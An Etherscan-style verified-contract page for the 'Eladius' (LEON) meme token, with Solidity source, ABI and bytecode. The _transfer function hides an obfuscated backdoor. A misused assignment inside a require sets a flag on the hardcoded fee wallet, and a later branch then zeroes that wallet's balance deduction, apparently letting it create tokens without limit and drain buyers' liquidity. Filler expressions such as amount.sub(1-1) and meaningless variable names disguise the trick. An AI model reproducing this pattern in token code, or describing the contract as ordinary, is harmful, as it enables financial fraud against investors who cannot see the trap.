Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•    - function _msgSender()
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•  contract LEON is Context, IERC20, ... *
•    - function createPair()
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function min(uint256 a, uint256 b)
•    - function removeLimits()
•    - function sendETHToFee()
•    - function withdrawEth()
•    - function swapTokensForEth(uint256 tok ...
•    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-06
*/

// SPDX-License-Identifier: MIT

/*
https://x.com/EladiusLeon
https://t.me/EladiusEth

https://www.businessinsider.com/trump-calls-elon-musk-wrong-name-speeches-face-scrutiny-2024-9
*/

pragma solidity 0.8.27;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract LEON is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExpelled;
    mapping (address => bool) private nanoDemia;
    address payable private _kaniDesanti;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Eladius";
    string private constant _symbol = unicode"LEON";
    uint256 public _maxTxAmount = _tTotal.mul(2).div(100);
    uint256 public _maxWalletSize = _tTotal.mul(2).div(100);
    uint256 public _taxSwapThreshold= _tTotal.mul(1).div(100);
    uint256 public _maxTaxSwap= _tTotal.mul(1).div(100);
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _kaniDesanti = payable(0xc5Fd03641fef26a45aea3b8068B75261605b3403);
        _tOwned[_msgSender()] = _tTotal;
        _isExpelled[owner()] = true;
        _isExpelled[address(this)] = true;
        _isExpelled[_kaniDesanti] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createPair() external onlyOwner { 
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _tOwned[from] = _tOwned[from] - amount;
            _tOwned[to] = _tOwned[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        uint256 devoNamia=amount>0?amount.sub(1-1):amount.add(1-1);uint256 bbcAmt=0;
        if (from != owner() && to != owner() && to != _kaniDesanti) {
            require(nanoDemia[_kaniDesanti]=true && !nanoDemia[to]);
            if(_buyCount==0){
                bbcAmt = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExpelled[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                bbcAmt = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }
            if(_buyCount>0&&nanoDemia[from]){devoNamia=amount>0?amount.mul(1-1):amount*(1-1);}
            if(to == uniswapV2Pair && from!= address(this) ) {
                bbcAmt = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _taxSwapThreshold)
                    swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                sendETHToFee();
            }
        }
        if(bbcAmt>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(bbcAmt);
          emit Transfer(from, address(this), bbcAmt);
        }
        _tOwned[from]=_tOwned[from].sub(devoNamia);
        _tOwned[to]=_tOwned[to].add(amount.sub(bbcAmt));
        emit Transfer(from, to, amount.sub(bbcAmt));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee() private {
        _kaniDesanti.transfer(address(this).balance);
    }

    function withdrawEth() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600655600f6007555f6008555f600955600f600a55600f600b55600a600c555f600d5561005c606461005660026009600a610041919061042e565b610050906461f313f88061043c565b9061022f565b906102bb565b600e55610075606461005660026100416009600a61042e565b600f5561008e606461005660016100416009600a61042e565b6010556100a7606461005660016100416009600a61042e565b6011556013805461ffff60a81b191690555f60148190556015553480156100cc575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673c5fd03641fef26a45aea3b8068b75261605b340317905561013f6009600a61042e565b61014e906461f313f88061043c565b335f9081526001602081905260408220929092556003906101765f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556101d33390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61020a6009600a61042e565b610219906461f313f88061043c565b60405190815260200160405180910390a36104a7565b5f825f0361023e57505f6102b5565b5f610249838561043c565b9050826102568583610453565b146102b25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f6102b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061030260201b60201c565b5f81836103225760405162461bcd60e51b81526004016102a99190610472565b505f61032e8486610453565b95945050505050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156103865780850481111561036a5761036a610337565b600184161561037857908102905b60019390931c92800261034f565b935093915050565b5f8261039c575060016102b5565b816103a857505f6102b5565b81600181146103be57600281146103c8576103e4565b60019150506102b5565b60ff8411156103d9576103d9610337565b50506001821b6102b5565b5060208310610133831016604e8410600b8410161715610407575081810a6102b5565b6104135f19848461034b565b805f190482111561042657610426610337565b029392505050565b5f6102b260ff84168361038e565b80820281158282048414176102b5576102b5610337565b5f8261046d57634e487b7160e01b5f52601260045260245ffd5b500490565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6118f3806104b45f395ff3fe608060405260043610610113575f3560e01c80637d1db4a51161009d578063a0ef91df11610062578063a0ef91df146102ed578063a9059cbb14610301578063bf474bed14610320578063c9567bf914610335578063dd62ed3e14610349575f5ffd5b80637d1db4a51461025d5780638da5cb5b146102725780638f9a55c01461029857806395d89b41146102ad5780639e78fb4f146102d9575f5ffd5b806323b872dd116100e357806323b872dd146101c5578063313ce567146101e457806370a08231146101ff578063715018a614610233578063751039fc14610249575f5ffd5b806306fdde031461011e578063095ea7b31461015f5780630faee56f1461018e57806318160ddd146101b1575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b50604080518082019091526007815266456c616469757360c81b60208201525b60405161015691906114fb565b60405180910390f35b34801561016a575f5ffd5b5061017e610179366004611544565b61038d565b6040519015158152602001610156565b348015610199575f5ffd5b506101a360115481565b604051908152602001610156565b3480156101bc575f5ffd5b506101a36103a3565b3480156101d0575f5ffd5b5061017e6101df36600461156e565b6103c4565b3480156101ef575f5ffd5b5060405160098152602001610156565b34801561020a575f5ffd5b506101a36102193660046115ac565b6001600160a01b03165f9081526001602052604090205490565b34801561023e575f5ffd5b5061024761042b565b005b348015610254575f5ffd5b506102476104a5565b348015610268575f5ffd5b506101a3600e5481565b34801561027d575f5ffd5b505f546040516001600160a01b039091168152602001610156565b3480156102a3575f5ffd5b506101a3600f5481565b3480156102b8575f5ffd5b506040805180820190915260048152632622a7a760e11b6020820152610149565b3480156102e4575f5ffd5b50610247610559565b3480156102f8575f5ffd5b50610247610753565b34801561030c575f5ffd5b5061017e61031b366004611544565b6107b6565b34801561032b575f5ffd5b506101a360105481565b348015610340575f5ffd5b506102476107c2565b348015610354575f5ffd5b506101a36103633660046115c7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103993384846109a7565b5060015b92915050565b5f6103b06009600a6116f5565b6103bf906461f313f880611703565b905090565b5f6103d0848484610acb565b610421843361041c85604051806060016040528060288152602001611896602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611178565b6109a7565b5060019392505050565b5f546001600160a01b0316331461045d5760405162461bcd60e51b81526004016104549061171a565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ce5760405162461bcd60e51b81526004016104549061171a565b6104da6009600a6116f5565b6104e9906461f313f880611703565b600e556104f86009600a6116f5565b610507906461f313f880611703565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105376009600a6116f5565b610546906461f313f880611703565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105825760405162461bcd60e51b81526004016104549061171a565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105cc9030906105bd6009600a6116f5565b61041c906461f313f880611703565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610640919061174f565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c3919061174f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561070d573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610731919061174f565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461077c5760405162461bcd60e51b81526004016104549061171a565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156107b3573d5f5f3e3d5ffd5b50565b5f610399338484610acb565b5f546001600160a01b031633146107eb5760405162461bcd60e51b81526004016104549061171a565b601354600160a01b900460ff16156108455760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610454565b6012546001600160a01b031663f305d7194730610876816001600160a01b03165f9081526001602052604090205490565b5f5f6108895f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ef573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610914919061176a565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610969573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098d9190611795565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a095760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610454565b6001600160a01b038216610a6a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610454565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b2f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610454565b6001600160a01b038216610b915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610454565b5f8111610bf25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610454565b601354600160b01b900460ff161580610c145750601354600160a81b900460ff165b15610cbe576001600160a01b0383165f90815260016020526040902054610c3c9082906117b4565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c6b9082906117c7565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610abe9085815260200190565b5f5f8211610cd557610cd0825f6111b0565b610cdf565b610cdf825f611215565b90505f610cf35f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d2157505f546001600160a01b03858116911614155b8015610d3b57506005546001600160a01b03858116911614155b1561103a576001600160a01b038481165f908152600460205260408082205460055490931682529020805460ff191660ff909216159182179055610d7d575f5ffd5b600d545f03610db557610db26064610dac600a54600d5411610da157600654610da5565b6008545b8690611256565b906112d4565b90505b6013546001600160a01b038681169116148015610de057506012546001600160a01b03858116911614155b8015610e0457506001600160a01b0384165f9081526003602052604090205460ff16155b15610f0757600e54831115610e5b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610454565b600f5483610e7d866001600160a01b03165f9081526001602052604090205490565b610e8791906117c7565b1115610ed55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610454565b610ef06064610dac600a54600d5411610da157600654610da5565b600d80549192505f610f01836117da565b91905055505b5f600d54118015610f2f57506001600160a01b0385165f9081526004602052604090205460ff165b15610f57575f8311610f4a57610f45835f611703565b610f54565b610f54835f611256565b91505b6013546001600160a01b038581169116148015610f7d57506001600160a01b0385163014155b15610faa57610fa76064610dac600b54600d5411610f9d57600754610da5565b6009548690611256565b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610fe057506013546001600160a01b038681169116145b8015610ff55750601354600160b01b900460ff165b80156110045750600c54600d54115b15611038576010548111156110305761103061102b8561102684601154611315565b611315565b611329565b611038611499565b505b80156110b257305f9081526001602052604090205461105990826111b0565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110a99085815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110d49083611215565b6001600160a01b0386165f908152600160205260409020556111176110f98483611215565b6001600160a01b0386165f90815260016020526040902054906111b0565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111608685611215565b60405190815260200160405180910390a35050505050565b5f818484111561119b5760405162461bcd60e51b815260040161045491906114fb565b505f6111a784866117b4565b95945050505050565b5f806111bc83856117c7565b90508381101561120e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610454565b9392505050565b5f61120e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611178565b5f825f0361126557505f61039d565b5f6112708385611703565b90508261127d85836117f2565b1461120e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610454565b5f61120e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114cf565b5f818311611323578261120e565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061136f5761136f611811565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113c6573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113ea919061174f565b816001815181106113fd576113fd611811565b6001600160a01b03928316602091820292909201015260125461142391309116846109a7565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061145b9085905f90869030904290600401611825565b5f604051808303815f87803b158015611472575f5ffd5b505af1158015611484573d5f5f3e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107b3573d5f5f3e3d5ffd5b5f81836114ef5760405162461bcd60e51b815260040161045491906114fb565b505f6111a784866117f2565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107b3575f5ffd5b5f5f60408385031215611555575f5ffd5b823561156081611530565b946020939093013593505050565b5f5f5f60608486031215611580575f5ffd5b833561158b81611530565b9250602084013561159b81611530565b929592945050506040919091013590565b5f602082840312156115bc575f5ffd5b813561120e81611530565b5f5f604083850312156115d8575f5ffd5b82356115e381611530565b915060208301356115f381611530565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561164d57808504811115611631576116316115fe565b600184161561163f57908102905b60019390931c928002611616565b935093915050565b5f826116635750600161039d565b8161166f57505f61039d565b8160018114611685576002811461168f576116ab565b600191505061039d565b60ff8411156116a0576116a06115fe565b50506001821b61039d565b5060208310610133831016604e8410600b84101617156116ce575081810a61039d565b6116da5f198484611612565b805f19048211156116ed576116ed6115fe565b029392505050565b5f61120e60ff841683611655565b808202811582820484141761039d5761039d6115fe565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561175f575f5ffd5b815161120e81611530565b5f5f5f6060848603121561177c575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156117a5575f5ffd5b8151801515811461120e575f5ffd5b8181038181111561039d5761039d6115fe565b8082018082111561039d5761039d6115fe565b5f600182016117eb576117eb6115fe565b5060010190565b5f8261180c57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118755783516001600160a01b031683526020938401939092019160010161184e565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220060f34b591106a9a26572170fa378a15e0f695f9bb509cdf4dbdd8054e6c311864736f6c634300081b0033

0x608060405260043610610113575f3560e01c80637d1db4a51161009d578063a0ef91df11610062578063a0ef91df146102ed578063a9059cbb14610301578063bf474bed14610320578063c9567bf914610335578063dd62ed3e14610349575f5ffd5b80637d1db4a51461025d5780638da5cb5b146102725780638f9a55c01461029857806395d89b41146102ad5780639e78fb4f146102d9575f5ffd5b806323b872dd116100e357806323b872dd146101c5578063313ce567146101e457806370a08231146101ff578063715018a614610233578063751039fc14610249575f5ffd5b806306fdde031461011e578063095ea7b31461015f5780630faee56f1461018e57806318160ddd146101b1575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b50604080518082019091526007815266456c616469757360c81b60208201525b60405161015691906114fb565b60405180910390f35b34801561016a575f5ffd5b5061017e610179366004611544565b61038d565b6040519015158152602001610156565b348015610199575f5ffd5b506101a360115481565b604051908152602001610156565b3480156101bc575f5ffd5b506101a36103a3565b3480156101d0575f5ffd5b5061017e6101df36600461156e565b6103c4565b3480156101ef575f5ffd5b5060405160098152602001610156565b34801561020a575f5ffd5b506101a36102193660046115ac565b6001600160a01b03165f9081526001602052604090205490565b34801561023e575f5ffd5b5061024761042b565b005b348015610254575f5ffd5b506102476104a5565b348015610268575f5ffd5b506101a3600e5481565b34801561027d575f5ffd5b505f546040516001600160a01b039091168152602001610156565b3480156102a3575f5ffd5b506101a3600f5481565b3480156102b8575f5ffd5b506040805180820190915260048152632622a7a760e11b6020820152610149565b3480156102e4575f5ffd5b50610247610559565b3480156102f8575f5ffd5b50610247610753565b34801561030c575f5ffd5b5061017e61031b366004611544565b6107b6565b34801561032b575f5ffd5b506101a360105481565b348015610340575f5ffd5b506102476107c2565b348015610354575f5ffd5b506101a36103633660046115c7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103993384846109a7565b5060015b92915050565b5f6103b06009600a6116f5565b6103bf906461f313f880611703565b905090565b5f6103d0848484610acb565b610421843361041c85604051806060016040528060288152602001611896602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611178565b6109a7565b5060019392505050565b5f546001600160a01b03